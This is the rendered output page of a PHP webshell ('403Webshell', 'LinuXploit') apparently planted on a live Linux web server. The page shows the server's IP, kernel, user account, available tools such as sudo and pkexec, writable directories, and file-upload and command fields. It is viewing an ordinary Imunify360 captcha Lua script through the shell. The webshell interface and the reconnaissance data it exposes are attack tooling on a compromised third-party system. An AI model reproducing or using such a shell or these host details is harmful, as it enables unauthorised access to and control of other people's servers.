- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.142.195.139
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/imunify360-webshield/nginx/lua/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/imunify360-webshield/nginx/lua/captcha.lua
local template = require 'resty.template'
local cookie = require 'resty.cookie'

local function set_captcha_cookie()
    local cookie_obj, err = cookie:new()
    if not cookie_obj then
        ngx.log(ngx.ERR, "Failed to init cookie: ", err)
        return
    end

    local current_timestamp = os.time()
    local offset = 3600              -- 1 hour
    local expiration_date = os.date(
        "!%a, %d-%b-%y %H:%M:%S GMT", current_timestamp + offset)

    local ok, err = cookie_obj:set({
        key = "cl-bypass-cache",
        value = "yes",
        domain = ngx.var.host,
        samesite = "Lax",
        httponly = true,
        path = "/",
        expires = expiration_date
    })
    if not ok then
        ngx.log(ngx.ERR, "Could not set cookie: ", err)
    end
end

local default_site_key = "6LfwghwUAAAAAAYrFATHtss0Xe_bC7I6OWE_ayK4"
local custom_site_key = ngx.var.wscaptcha_site_key
local captcha_site_key = custom_site_key or default_site_key
local vars = {
    invisible=ngx.var.invisible_captcha,
    captcha_key=captcha_site_key
}
set_captcha_cookie()
template.render('index.html', vars, 'captcha')

Youez - 2016 - github.com/yon3zu
LinuXploit